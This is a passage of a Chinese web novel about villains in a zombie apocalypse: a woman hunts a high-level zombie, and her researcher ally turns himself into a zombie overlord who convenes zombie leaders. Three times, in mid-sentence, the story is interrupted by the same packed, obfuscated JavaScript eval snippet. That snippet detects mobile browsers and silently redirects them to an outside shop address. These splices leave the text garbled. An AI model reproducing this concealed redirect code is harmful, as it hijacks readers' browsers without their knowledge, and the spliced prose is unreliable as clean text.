交叉护住头部的双手缓缓放下,丧尸脸上原本的矜持和自鸣得意已经变成了被激怒的面无表情。 它不高兴,钱雨青就舒服多了。 不必多言,一个举刀,一个握拳,转眼间,两人打作一团。 不过,钱雨青是纯天然无污染的纯种人类。 虽然她的综合实力很强,战斗力绝非区区一只高阶丧尸能比,但若是论起纯粹的□□力量,说到底还是无法突破“人类”的极限,和丧尸的钢筋铁骨完全没法比,身高体重更是劣势中的劣势。 于是,当她舍弃其他的所有,连热武器都抛在脑后,选择仅以自身的体术相抗时,她唯一能够仰仗的,就是自身千锤百炼的狩猎技巧。 移动、移动、不断地移动。 奔跑、奔跑、更快地奔跑。 钱雨青边打边退,踢开天台的门,转向掩体更多的室内,以求获得喘息的时机。 身后,丧尸的脚步声如影随形,沉重、冰冷、灵巧、迅捷。 尖啸的风压与她数度擦身而过,她脆弱易碎的肉身一次都不能被击中。肺部扩张到极限,手腕在震颤,她的力量不足以劈开丧尸的骨头,只能勉强割开皮肉,或是像一根闷棍那样砸得它一个踉跄。 “走错路了,小跳蚤,”丧尸发出令人毛骨悚然的低笑,“你看不见我,但我还能看见你。” 未开灯的室内一片昏暗,人类的视力在此时失去了大部分效用,她只能依靠听觉和风掠过时带来的触感继续躲避。 身体转过一根巨大的廊柱,让自己暂时从敌人的视野中消失。下一秒,她出现在丧尸身后的盲区,角度刁钻地再出一刀。 “雕虫小技。”丧尸不屑地说,抡圆胳膊横扫,再一次将钱雨青打飞出去。 下一秒,强光手电如同人造的太阳一般在室内炸裂,眼前的景物纷飞成绚烂的重影,漆黑刀刃的再度造访悄无声息,轻盈地如同晨光刺破草叶尖的一颗露水一般,刺进了丧尸的左眼球。 搅弄血肉的咕叽咕叽声在此刻听起来竟然十分美妙。 久违地完成了一场狩猎的钱雨青红着脸颊,发出了比丧尸更猖狂的大笑声。 “我的耳朵好痛。”耳机里的沈修明抱怨。 “测试数据不要了?”钱雨青说。 沈修明当即改口:“敬爱的钱女士,您就是全世界笑声最动听的合作伙伴!” 与尚且稚嫩的实验体1号阿纳斯塔西娅不同,这位至死没有名字的实验体2号无疑是个完全成熟,力量正处在巅峰期的个体。 了解高阶丧尸的战斗力对于钱雨青和沈修明来说很重要,尤其这是纯以人类的力量水准与高阶丧尸进行肉搏,收集到的数据恐怕还是这世上的独一份。 如果二人想要掌控世界的邪恶计划能够顺利实施,人类和丧尸的势力最好长期处于某个微妙的平衡。现在低等丧尸已经逐渐被唤醒,下一步,他们要把复苏的丧尸城市掌控在手中,因此,必须要压制住蠢蠢欲动的高阶丧尸,取得绝对的话语权。 “你是没看见它之前是怎么把半个城市的丧尸指使得团团转的,简直像条天生的牧羊犬,”钱雨青吹着愉快的口哨,把丧尸的身体拖到一旁,锯掉了它的头,“看来娜斯佳还有得学呢。” “就是不知道高阶丧尸会不会无条件服从更高一级的命令,”沈修明叹气,“我还是再做一版试剂以防万一吧。” “你要哪部分?头?” “头。” 钱雨青把脑袋放进特制的冷藏箱里,又继续开始一截一截地锯开丧尸的其他部位。 手、小臂、大臂;脚、小腿、大腿,随后是脏器和躯干,都用密封的塑料盒装好,掏出一沓黑色的邀请函,拍在塑料盒上,再用金红色的礼物纸包好,挨个打上大大的蝴蝶结,最后通通塞进大麻袋里。 “娜斯佳!”钱雨青抬高声音,小姑娘模样的丧尸走到她身边。 阿纳斯塔西娅抽抽鼻子:“同类的气味,愤怒和不甘的气味……” “你控制了多少丧尸?让它们把这些礼物带给你特殊的同类。”钱雨青脱下脏兮兮的手套。 娜斯佳像个小圣诞老人似的接过几乎和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470849|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一样高的大麻袋,一本正经地回答道:“就快了,我和大家的沟通很顺畅。” “是吗?做得不错。加强巡逻,让它们封锁T市,别再让人类溜进来。”钱雨青说。 阿纳斯塔西娅谴责地看着她。 “好吧,我的错。”钱雨青说。 阿纳斯塔西娅立刻原谅了她,安抚地拍拍她的腿,又依恋地抱了她一下。 林林总总的小事堆在一起,折腾了大半个晚上。等钱雨青终于来到与其他两人事先约定好的地点时,天边已经擦出一抹鱼肚白。 许怀嘉和林涵还等在这里,见她完好无损地出现,才终于结结实实地松了一口气:“谢天谢地,你没事。” “谢天谢地,我没事,”钱雨青说,“那是个高阶丧尸。我要连夜逃跑了,你们也赶紧撤吧。” 许怀嘉的面色难看起来:“是它唤醒了T市的丧尸?” “噢,它没和我聊这个,”钱雨青耸肩,“不过我出来的时候,大批丧尸们正在警戒。如果短时间内再想进去探查,下场恐怕不会好。” “这件事,我会通知其他避难所。抱歉牵连你了。”许怀嘉的神色愈发严肃,眉头又皱了起来。 钱雨青看着她思索的样子,几乎要被她迷住了,突然说:“如果是上次见面的你,你一定会对我笑的。” 闻言,许怀嘉呆愣地抬起头,像是一时没能理解她的意思。 许久,她笑了一下。 一个纯粹的、温柔的笑,有些像以前的她,又有些不像。 T市的最新消息必须立刻送出,她们没有太多时间停留。告别时,钱雨青问:“下次再见我的时候,可以再对我笑吗?” 许怀嘉这次笑得自然许多:“当然!” “别说得那么简单,说不定你会后悔的,”钱雨青也笑,笑得和许怀嘉一样真挚温柔,“要试试在这里杀掉我吗?” “……什么?”许怀嘉怀疑自己听错了。 “没什么,下次再见吧,”钱雨青挥手告别,然后放轻声音,耳语般低声道,“我可怜又可爱的敌人啊。” 回到R市时,时间正值深夜。钱雨青随手把外套一丢,正丢在沈修明头上:“在等我?” “嗯。” 沈修明兴致不高时,总是惜字如金。 灵魂揪成一团,蜷缩在空空如也的胃中。心脏的跳动带来酸涩,将恐惧泵入四肢百骸。 最终的时刻就要到来了,而他是将要登上断头台的受刑者。 药剂的配比一改再改,结果一次比一次贴近人类,但丧尸终究是心脏不再跳动的怪物。为什么他非要变成怪物不可?但钱雨青不会一直留在这里保护他,他没有别的办法。 他要达成自己的愿望,要做怪物的盟友,就必须紧紧握住足以掌控自己命运的力量。 但,为什么他非要变成怪物不可? 某种东西正在体内悲鸣。 这个世界是真实的吗? 我真的要为这个世界带来灾难吗? 我最终能让一切结束吗? ……我会后悔吗? 钱雨青静静地看着他,纤长的眼睫投下无言的阴影。 她什么都没有说。 大理石般苍白的面容像是教堂中垂泪的神像般悲戚,又令沈修明前所未有地明晰——石头是不会落泪的。 他漆黑的命运已经袒露在她面前,而她好像在为此哀痛,又好像对此毫不在意。 她总是擅长露出这样模棱两可的表情,让别人的心就此撕裂,一半憎恨她,一半绝望地想要向她祈求。 “我想要再看看太阳。”最后,沈修明干巴巴地说。 钱雨青说:“如你所愿。” 14. 今天开始做大BOSS day1 丧尸的眼睛无法看太阳。 赤红的眼瞳保证了黑暗之中的视野,但无论再怎么调整,当望向澄澈的天穹时,过于强烈的刺激会让眼睛产生被烧灼的感觉。 如果还不肯就此罢休,阳光会让它们瞎上几天。 “啊呜呜……要晒死了……”沈修明软绵绵地把自己挂在栏杆上,头上罩着钱雨青的薄风衣,从后面看过去像一片扁扁的床单。 今天是R市久违的大晴天。 昨晚熬夜到三点,一觉睡到大中午的沈修明一爬起来吃完早午餐,就催着钱雨青带他出去玩。 “先去江边散步,然后去江边的公园爬山,再然后可以去人文博物馆逛逛,逛完回据点吃晚饭。夜景就算了,现在也没什么夜景可言。”沈修明在地图上画出一道完美的,首尾相接的游玩路线。 看样子是对着R市曾经的景点宣传手册下了功夫。 不过,他最该下功夫的其实应该是锻炼身体。 钱雨青走出他们藏身的总部大楼,抬手压了压鸭舌帽的帽檐,遮住太过刺眼的阳光。 经过一年的探索,钱雨青已经对R市的状况了如指掌。 为了避开市中心密集的丧尸群,作为导游兼保镖的她在危险区域外停车,领着沈修明在窄街小巷中灵巧地钻进钻出,左拐右绕,上上下下,跟开了全局视图似的,奶油般丝滑地向江边进发。 然而,原定不到半小时的路程,他们走了超过一个小时。 谁都没想到,击败沈修明只需要多走几层楼梯。 再下一个大斜坡,钱雨青眼睁睁看着沈修明的步伐开始摇摇晃晃起来:“我们、我们休息一下?”他的声音听起来心慌气短的。 “你不是吧,”钱雨青叉腰,掏出一瓶纯净水递给他,“你的包可是我在背。” 沈修明“吨吨”猛喝两口:“我不是累。我只是腿有点软,心脏跳得有点快……” “到目的地再休息,这里地形比较复杂,随时可能被丧尸贴脸,”钱雨青鼓励道,“再坚持一下就好了。” “前几次、你也是这样说的。” “就这几步路,你问这么多次,都不脸红吗?” 沈修明指着自己的脸,虚弱道:“我不脸红吗?” 红,好红,整张脸都是红的。钱雨青服了。 这是个对城市来说太过寂静的夏日。 江边的栏杆上还绑着未收的鱼竿,像一根根突兀长出的天线,牵着没了鱼钩的鱼线在风中飘荡。半圆型的广场旁整齐码着一排排几年前的昨晚收起的夜市小推车,从左边数起,全都是小吃摊点,从烤鱿鱼烤牡蛎到冰糖葫芦棉花糖,从右边数起,则是打气球、海洋池之类的游戏屋,堪称廉价发光玩具和小手工艺品大赏。 遮雨的塑料布早就去风中寻找自由,一场又一场的雨让鲜艳招牌拉长成怪异扭曲的竖纹。铁锈和青苔在缝隙间无限膨胀,模糊了人造和天然之间的界限。 一套套圆形的桌椅还摆在树荫下,有的已经翻倒、破碎,还完好的也肮脏不堪。树上缠绕着一圈圈小型灯泡,彼此相连,不难想象夜晚点亮时是怎样的效果,只是大半已经断裂,顺着树干垂下,像金属的根须。 “我也在夜市摆过摊。”钱雨青说。 沈修明来了兴趣:“你卖的什么?” “手制的木头娃娃。”其实是巫蛊人偶。 谈到这个话题,乌鸦怨念的眼神如坚冰般寒冷,直刺而来。 沈修明不明所以:“很可爱嘛,生意如何?” “不好,半个月才卖出去一个,”钱雨青摸着下巴回忆,“当时沉迷写小说,对摆摊事业不太积极,去得晚,占不到好位置,只能在角落里蹲着,都没几个人从摊前过。而且我做的娃娃走的不是精致可爱路线,而是……” 乌鸦用力清了清嗓子。 沈修明茫然地看它一眼:“而是什么路线?” 乌鸦说:“风格化写意路线。” “昂,”钱雨青表示认同,“当然,失败的最重要原因是被城管盯上了。” “城管还管这个?”沈修明疑惑,“你在马路中间摆的摊儿?” “其实是什么‘特殊物品管理办公室’,说我卖出去的东西引发了新怪谈,必须接受调查之类的,”钱雨青显然不太记得细节,关键部分说得支离破碎,“我那时候才知道现世还有这单位,说好的都是迷信呢?” “这下听懂了。”沈修明抽了抽嘴角。 “不你不懂,我是被陷害的,”钱雨青郁闷,“我们无限流世界出身的BOSS最重视规则了,很有武德的好不好,怎么可能把危险物品随便卖给无辜路人。请苍天辨忠奸啊!而且真正的诅咒物品很贵的,平时没几十万根本买不到,几十块就想在地摊上捡漏,做梦去吧!” “所以重点是不能亏本啊……” 沈修明先是无语,然后更加无语地意识到,这居然是比“钱雨青有道德有底线”有说服力得多的理由。 趴在栏杆上往下望,江水呈现出翡翠一般净透的青绿。风吹拂着,水面一时粼粼,阳光轻快地在浪端跳跃闪烁,几乎晃花人眼。 “像星星一样。”沈修明的脸压着一边手肘,懒洋洋地说。 “星星没这么刺眼,”钱雨青眯起眼睛,“你在这个世界几年了,之前没去过江边海边?” “没,忙实验。” 钱雨青信了。 “以前总不乐意去人太多的地方,觉得又吵又挤。现在够安静了,又觉得世界空得可怕,”沈修明闭上眼,“你离开之后,我还能和谁说话呢?” “你在撒娇?”钱雨青弯腰,歪头去看他遮起来的脸。 “我在心里扎你小人。”沈修明站直身体,“啪”地打了一下她的肩膀,快步往公园的方向走,拼着一口气三步作两步跨上长长的台阶,又后知后觉地开始喘。 “你的计划是爬到山顶对吧,”钱雨青慢吞吞地跟在后面,“还能撑住吗?” “……” 沈修明双手撑着膝盖,喉头不断吞咽,半晌才重重点了点头。 上山的石阶短、窄而滑,道旁许久未修剪过的树木层层叠叠拥来,必须一次又一次上手拨开才能继续走,比在平地上走或者单纯的上下爬楼梯还要困难得多。体弱的研究员休息的时间越来越长,疲劳的时间越来越短,走到半山腰的时候,已经只剩一张嘴还在犯倔了。 “现在你的脸不红了,”钱雨青抚他的背,“白得好吓人。” 沈修明吭不出声。 “我带你上去吧,”钱雨青抬手看表,“不然博物馆的行程赶不及了。” 沈修明的神色变得有些惊恐。 依照钱雨青的经验,大概不是因为被带上去惊恐,而是想起之后的博物馆才惊恐:“不,你别靠近我,我自己可以的!” 从山顶的观景台看江水别有一番风味,沈修明吹着江风忍了又忍,最终还是撑住了没有吐出来。 其实他特地爬上来是想和钱雨青认认真真说点什么的,可惜想说的内容现在早就忘光光了,脑内还在转着的唯一念头就是怎么活着回去。 “顺便一提,等会儿还要下山。”钱雨青见他明明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470850|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经软得像根被煮过头的挂面,还在嫌地脏,硬撑着到处乱走,幽幽道。 沈修明的自尊心终于被击垮了:“你背我下去吧。” 钱雨青:“你怎么不说想骑我脖子上呢?” “可以吗?” 钱雨青看着他。 沈修明抿着嘴撇开头。 最后,钱雨青让沈修明搂着她的脖子,抱着他的腰,像扶一个在战场上光荣负伤的重伤患一样把人扶了下去。 “如果你没想好,就别去做,”两人走到半山腰时,钱雨青突然说,“不够坚定的人一定会死。” 沈修明说:“我知道。” 劝告到此为止,关于这件事,他们不需要说得再多。 “今晚不是满月。” 钱雨青看着窗外,黑色的障刀正握在她手中。水银般流泻的月光将引路人的影子绘得很长,如果沈修明转化失败,这把刀将会带给他永恒的安息,他与怪物的交易也会告一段落。 “反正我也不是要变狼人。”沈修明从冷藏箱中取出早就准备好的透明针剂,刺入上臂的血管之中。 在抉择前万分纠结,死到临头反而平静。 某种令人毛骨悚然的东西游向心脏,肌肉和血管猛烈收缩又扩张,骨骼嘎吱嘎吱作响。沈修明一下子摔倒在地,撞翻了桌子,桌上的摆设稀里哗啦摔了一地。 精神仿佛在烈火中燃烧,在寒冰中冻结。 我是谁?他久违地问自己。 记忆在流淌。 忙于工作的父母,优秀杰出的两位兄长,漠然的族人,暗藏厌恶的仆人,轻视他的弟弟。年幼时遭遇的绑架,独自在医院渡过的时光,失去了健康的身体,无法再实现的梦想,以及随之而来的自暴自弃与堕落…… 不对,不是这个! 我是谁?! 钱雨青惊讶地看到,“沈修明”正在变形。 他显然听从了钱雨青的建议,给药剂加上了美容,或者准确点说是修容功能。 细瘦的手脚拉长、扭曲、重塑,黑色的短发变长,披散下来,在月光下仍然呈现出灿然夺目的金色。“咔哒”一声,沈修明一直戴在脸上的半框眼镜也摔在地上,随即被碾碎。 地上躺着一个全然陌生的人。 原本沈修明和钱雨青差不多高,都在一米七左右,现在的他身高却超过了一米八。钱雨青心里有些犯嘀咕,拿不准他是本来就这么高,还是趁机夹带了私货。他原本瘦弱的身体也明显变得匀称结实,虽然仍然称不上健壮,但也不会再让人感到虚弱。然而,他的肤色却加倍不健康起来,惊人的苍白,仔细一看还微微泛青。 他脸部的线条失去了雌雄莫辨的柔和感,变得瘦削而立体。比起雅致的书卷气,某种漠然而诡诈的疯狂正在重新编织气质的纹络。 现在他看起来简直就像个标准的疯狂大反派了。 钱雨青抬起刀,锋锐的刀尖抵住躺在地上的人脆弱的咽喉处,一双冰冷的血红色双眼悄然睁开。 “醒了?”她笑眯眯地问,“感觉如何?” “好极了,神清气爽,”他连声线也低沉许多,“摆脱了一个亡灵。” “鸠占鹊巢的人说什么呢。” “那真是对不起了,”他满脸的不以为意,“顺便一提,我真长这么高,没有夹带私货。” “你怎么知道我想说这个。” “脸上的嫉妒明显成这样,我要怎么才能不知道,”地上的人无语说完,摆正神色,“我是卡尼利恩,卡尼利恩·莱茵。这就是我真正的样貌,我亲爱的朋友。” 15. day2 要认出沈修明有没有保存人格很简单,副本BOSS们自有一套辨认人类的小诀窍。 况且他虽然拼命想要装出很帅的样子,但还是和以前一样四肢打结且怂。 “都说了别躲!反击!”钱雨青挥刀。 “可以放弃吗?求你了,我们放弃吧!”沈修明火速逃跑,再次躲开了钱雨青的攻击。 其实只按照身体素质论,已晋升异种族的沈修明要远远大过钱雨青这个普通人类。真打满一套下来,气喘吁吁的人反而成了钱雨青。 但作为一个完全没打过架的文职人员,他也没办法在获得力量后一夜成为战斗高手。过于活跃发散的思维反而损害了出手的果断,薄弱得可怜的战斗意识只配让他成为蘸豆糕手,沦为钱雨青的超级耐打大沙包。 “我志不在此啊老师!”沈修明声泪俱下。 随着体不太弱的研究员逃回实验室,钱雨青的“超级盟友培养计划”宣告夭折。 即使向钱雨青揭露了真正的名姓,平时卡尼利恩仍然自称为“沈修明”。 “反正这个名字早就归我了。”卡尼利恩窝在滑轮椅里转了一圈。 记忆会塑造灵魂。 即使身为“沈修明”的人生只是虚假,也会在原名为卡尼利恩的人心中留下刻痕。并非思维的扭曲,而是因为看见了曾经从未见过也未曾想过的人生,受到了某种影响。 “R市的丧尸也恢复理智了,”沈修明娴熟地敲击着眼前的键盘,“不知道是不是保有人类思维的缘故,我对普通丧尸的操控总感觉滞涩,只能说勉强够用。” 就像天生就懂得在水中摆尾的鱼,和后天才用假尾巴学会游泳的人类,诸如“属于鱼类的记忆补丁包一瞬间涌入脑海,他的泳姿立刻娴熟灵活得像本地鱼”之类的科学奇迹并没有发生。沈修明只能自行驯服四肢和新的能力,慢慢摸索和调整。 “毕竟人类是没有丧尸的本能的,”钱雨青不知想到了什么,眼神一暗,“虽然麻烦,但未必不是好事。” 他们正身处地下建筑某个巨大的监控室之中,大大小小无数屏幕从地面堆叠至天花板,冷调的蓝光包围着中央的总控制台。 在R市的秩序逐渐恢复后,沈修明操控着丧尸们,将关键地带的摄像头全部接入了中心据点。现在,如果有人想进入R市,绝对逃不过管理者无孔不入的注视。 “自己试过才知道,普通丧尸根本不觉得自己被控制了,”沈修明一边升级程序一边琢磨,“他们只会认为那是自己发自内心想要做的,所以在听从命令的同时还能保持思考和理智,比失去意识的催眠可怕多了。” “这一套对高阶丧尸也管用?” “理论上是管用的,只要我的等级比它们更高。”沈修明说着,调出实验结果的画面,别的不提,他现在处理信息数据的速度已经完全超越了人类所能达到的极限。 目前限制他的,是他数量只有十根的手指。 “我研究了你带回来的头,它的异能刚好是加强指令,帮了大忙了。这也在你的预料之中吗?” 钱雨青双臂环胸,斜靠着沈修明的椅背:“T市普通丧尸发生大规模异动,指令类的异能最合适处理这样的局面。就算来的不是它,也会是类似能力的个体。” 沈修明觉醒的异能正是以此为依托的优化版本。他的特性注定不合适上前线,最好还是窝在安全的地方当指挥塔比较合适。 一开始,他在强化指令能力和强化智力之间犹豫许久,但钱雨青建议他选择前者:“太高阶的智能有可能对身体造成严重负担。看见超级计算机的大小没,如果你的头涨成三倍大,就只能当僵王博士,而不是邪魅反派了。孰重孰轻啊。说真的,你现在的智力已经够用了。” 在一众为了变强,别说区区毁容,连灵魂都不惜出卖的变态BOSS之中,钱雨青对人类外表的追求也算是相当的异类。还有和她一直不对付的狗同事因此宣称她必定是人类派来的奸细卧底。 好在反派BOSS们虽然向来貌合神离,大难临头各自飞,但也不是没有通情达理的一面。 在钱雨青扒了该嘴碎同事的皮,送给主神上司当生日礼物之后,其他同事震惊于她拍马屁的水准,纷纷放弃了对她的诋毁。 乌鸦说:“我觉得不是这个原因。” “当然是这个原因,”钱雨青摸摸它的脑袋,捏住它的喙,“不接受反驳。” 无论如何,乌鸦顺从地沉默了。 在失去了飞机、动车和轮渡后,在世界范围内的出行就变得不如以前方便。 当阿纳斯塔西娅终于送完一大麻袋附赠礼物的邀请函,回到R市时,沈修明已经操控着丧尸把市中心的大礼堂翻新了一遍,并将此敲定为长期会议地点了。 在夜晚川流不息的车水马龙和灯火辉煌之中,阿纳斯塔西娅舔着冰激凌,抬起手机,对比着礼堂正门上的红条幅,一字一字念道:“第一届……高等丧尸代表……联合会议……” 就是这里。 她走进去,凭借出色的夜视能力很快找到了自己的位置,一路旁若无人地挤进去,坐在了钱雨青和沈修明中间。 纵横交错的灯光照得舞台亮如白昼,嗓音尚未毁坏的丧尸歌星穿着纯黑的礼服,小礼帽固定着长长的带钻黑纱,遮蔽了面容,正在台上忘情地歌唱抒情歌曲。 台下,丧尸粉丝们沉醉地挥舞着应援棒,脸上浮现出幸福的神情。 “效果轻微但影响范围极大的音律异能,第一次见的强化方向,”钱雨青在粉丝们彩虹屁的夹缝之中艰难翻着当红歌星的资料,“灾厄前是个坚持多年,但并不出名的小糊咖。” “果然,愿望会影响觉醒方向,”沈修明吸溜饮料,“除了我。不然我一定会是强化智力的异能。” 人类是不会放弃享受的。哪怕变成了丧尸,这一点也绝不会改变。 出于十分好懂的私心,沈修明将原本研究丧尸病毒的生化公司地面上的部分,改成了“莱茵集团”,并在一个月内研究出了让丧尸也能品尝出味道的营养剂,从食品行业进军市场,瞬间风靡全球。 “你永远可以相信我做新口味营养剂的能力,”沈修明自吹道,“这是我们星际研究员的基本功。” 虽然据目前R市中的唯一人类试吃员钱雨青所说,丧尸的营养剂吃起来一点味道都没有,跟舔塑料泡沫似的,但每个品尝过试做品的丧尸都能精准分辨出酸甜苦辣咸,并流下幸福的泪水。 “草莓牛奶冰激凌好好吃,R市 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470851|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以和T市合作吗?”已经掌控T市的阿纳斯塔西娅如是说。 “当然,我们早就是盟友了,不是吗?”沈修明看着舞台上的表演,双手合在身前,堆成三角状,“一切都会慢慢好起来的。” “我们不是家人吗?” 直到歌星一曲唱罢,观众们开始发出奇形怪状的呼喊,沈修明仍然定定地看着舞台:“我们当然也是家人。” 没有哪个高阶丧尸会把箭头戳在脑袋上,告诉旁人自己的坐标,所以阿纳斯塔西娅送每封信的时间差很大。 总之,像亚瑟王召开圆桌会议那样一次性把事情省力讲完是别想了,但这样的时间差反而方便了沈修明与访客们进行一对一的谈话。 钱雨青对他的话术不感兴趣,顶多在事后问问:“你用异能了吗?” 沈修明有时会点头,有时则是摇头:“只是合作。对方的实力很强,直接用能力可能会被发现,不太稳妥。” 他习惯如此,一步又一步稳妥前行,只有保证成功率足够高才会突然出手,最讨厌的事情就是赌概率。所以他最痛苦的时刻必定是为了活命,答应与系统签约,来到未知的异世界时;以及为了获得力量,必须注射进化药剂的时候。 钱雨青双手一拍:“对了,你现在已经是总裁了耶。” 沈修明一愣,意识到她在说系统:“但我还没有完成打脸的任务。” “那就别完成,”钱雨青轻快道,“我离开之后,我们还可以通过系统相互交流,记得吗?” 沈修明闻言,脸上的笑容真切许多:“好!” “你想我去你老家看看吗?”钱雨青问。 沈修明坐直身体:“你可以?怎么做?” “用系统的位面坐标,”钱雨青也不藏着掖着,直白回答,“但你的系统权限不够。” 沈修明看了一眼窗边闭目养神的乌鸦:“它很特殊?” 钱雨青露出意味深长的笑容:“经过一些小摩擦,我们达成了共识。” 乌鸦眼都不睁,直接开怼:“是你利用邪恶的手段强迫我同意的。” “完全正确。”钱雨青点头。 沈修明狐疑地盯着她们两个,可惜知道问不出更多,只能遗憾转移话题:“如果你可以做到,那就去吧,我把卡尼利恩·莱茵的生物权限给你。当时死得太匆忙,什么都没带走,你帮我把我实验数据发过来。” 钱雨青:“死得不匆忙也带不走什么吧。” “真是完全不意外……”乌鸦叹气,“难道你不明白钱雨青会对你老家做什么吗?” “没有哪个世界会因为区区一个反派毁灭,除非它本就摇摇欲坠,”沈修明慢条斯理地理了理头发,“再说了,我死后,哪管洪水滔天。” 他的眼中闪烁着对家乡的眷恋,但其中更尖锐的,却是如火焰般跳动的怨恨。 乌鸦咕哝:“行吧,又是恩恩怨怨扯不清的大雷区。” “也不能这么说,”沈修明否认道,“在知晓世界的真相竟然如此荒诞之前,我还是对未来有过一丝期盼的。” “现在更重要的是眼前的未来,”钱雨青指了指一个监控屏幕:“人类来探查了。” 沈修明毫不客气地说:“他们早该来了。” 16. 今天开始做卧底 day1 丧尸恢复理智的速度比任何一个人所预计的都要更快。 自从察觉到异常的许怀嘉发布了“T市出现大规模丧尸觉醒”的警告之后,还没等幸存者联盟吵出个结果,仅仅过了十五天,R市也重新运转起来——以丧尸主导的方式。 短短两个月,这样的高危异变便毫无规律、天女散花一般地遍布了全球,周边人类的生存空间遭到进一步压缩。 人类不得不紧急修改对危险区域的定义,并在原本代表最高危险区域的红色之上,增加了黑色的“死区”,全面禁止幸存者私自进入甚至靠近死区,包括异能者。 小股丧尸向来不是人类的对手,即使拥有铜皮铁骨也终究敌不过热武器的权威乃至异能者手中复古的刀剑,顶多欺负欺负手无寸铁的弱者。 但事情糟糕就糟糕在,丧尸与人类的数量对比实在悬殊。 一座沦陷的大城市中,丧尸的数量常常超过千万,随随便便就能超过目前全球的幸存者人数。 已死的身躯不知疼痛也不知惧怕,只像海浪一样源源不断,冲击不绝。一旦深陷其中,没有哪个异能者能做到彻底清场,只能且战且退,尽快离开。 而现在,苏醒的理智未能耦合人性的复归。已觉醒的丧尸们明明智力可以与人类交流,甚至还保留着生前的记忆,却只用一次次诱骗和袭击,在幸存者之中造成了更大的恐怖。 “异变出现的地点毫无规律。如果像一开始病毒蔓延那样,是通过下水道或是小型生物,都无法测出完整的传播路径。”首领A拍着手底的地图。 “除非是空气传播。”首领B靠着椅背,一副即将过劳死的疲惫表情。 A立刻反驳:“那也不能解释其中的随机性。” 首领C把手肘放在桌上,用拳头撑着脸:“而且觉醒的丧尸行动范围比原种丧尸大得多,甚至还会和附近的其他城市交流。所以已经成为死区的城市,范围还会不断扩张。我们有不少附近的据点都被迫废弃了。” “真是全天下最荒谬的笑话,它们甚至重启了城际列车和主要航线。现在丧尸可以继续坐地铁去上班,去别的国家出差,人类反而要蹲在阴沟里继续吃过期干粮。” “哈哈,上次我家有个下属还看到丧尸旅游团去爬山看夜景来着。” “然后?” “——或许有一个共同点。” “然后当然是跑了,不然留下来当它们篝火晚会的烤全羊吗……” 突然意识到有人说了些什么,乱糟糟的会议现场突然沉默了。 许怀嘉缓缓站起身,再次说道:“或许有一个共同点。” 第十三避难所的首领,许怀嘉。 提到这个名字,在场的许多人都会不自觉地露出厌恶或讥讽的表情。 一个毫无根基,只能在不同避难所之间辗转的小女孩。不知天高地厚,凭借着幸运觉醒的异能,和一点微不足道的小聪明,在加入第九避难所的行动队时,恰巧截获了关于“R市或许存在抗毒血清”的情报,随即袭击队友并叛逃。 抢先拿到血清后,便以此要挟各大避难所,强迫各方拿出物资换取珍贵的血清原液。口头上全是假仁假义,用别人的物资借花献佛地笼络人心,然而连最倚重的部下都接连死亡或退出。又偏偏在极短的时间内崛起,建立了自己的据点,成为足以跻身列席会议的“第十三避难所首领”。 况且,她拿到的血清原液,至今无人能解析倒推个中原理,只能老老实实一比一复刻,鬼知道她在其中动了什么手脚。 说到底,只是一个赌R市地下有血清的赌徒,还真的赌赢了而已。如果当时他们能更重视一点那份情报,现在可轮不到她再来分一杯羹。 背叛、寡恩、幼稚且满口谎言,风口上猪都能飞,许怀嘉只是运气好一点罢了。 明里暗里的无视和排斥始终让她在联盟中的地位始终处于边缘,即使之前带回了丧尸觉醒的情报,也不足以改变什么,反正不久后所有人都知道了这件事。 但此刻,所有人的目光都看向了她。 “或许有一个共同点,”许怀嘉再次强调,“目前已知的所有异变中心都是曾经的交通枢纽,而且所有‘死区’都会在复苏后选择向外扩张。至于原因,我猜测,是高阶丧尸们在操控这一切。” 和无处不在的普通丧尸相比,有关高阶丧尸的情报少到令人发指。 一方面,是遭遇了高阶丧尸的外勤人员向来少有生还,情报无法收集;另一方面,则是它们从不打逆风局,滑不溜手的,每次联盟听闻高阶丧尸出没,要召回大异能者进行清剿时,敌人便会立刻消失得无影无踪,徒留人类在身后吃尾气。 “你怎么知道?”有人问。 许怀嘉无视对方语气中的敌意,平静地说:“我深入过R市和T市。在R市时,我和朋友进入地下研究所,它们的分布明显经过了人为调整,位置隐藏在各个视线死角处。当时靠近研究所的队伍应该也感觉得到,那里的丧尸比别处密集许多,很难突破。在T市时,我和部下更是亲眼目睹了高阶丧尸的出现,并在它的手下死里逃生。” 见她毫无愧疚地提起R市,许多人再次暗自皱眉。 “对了,我们行动队的报告提过这一点,”有人作恍然大悟状,“R市出现了会说人话的乌鸦丧尸!” 首领们顿时各自展开激烈的讨论,会议现场又变得乱哄哄起来。 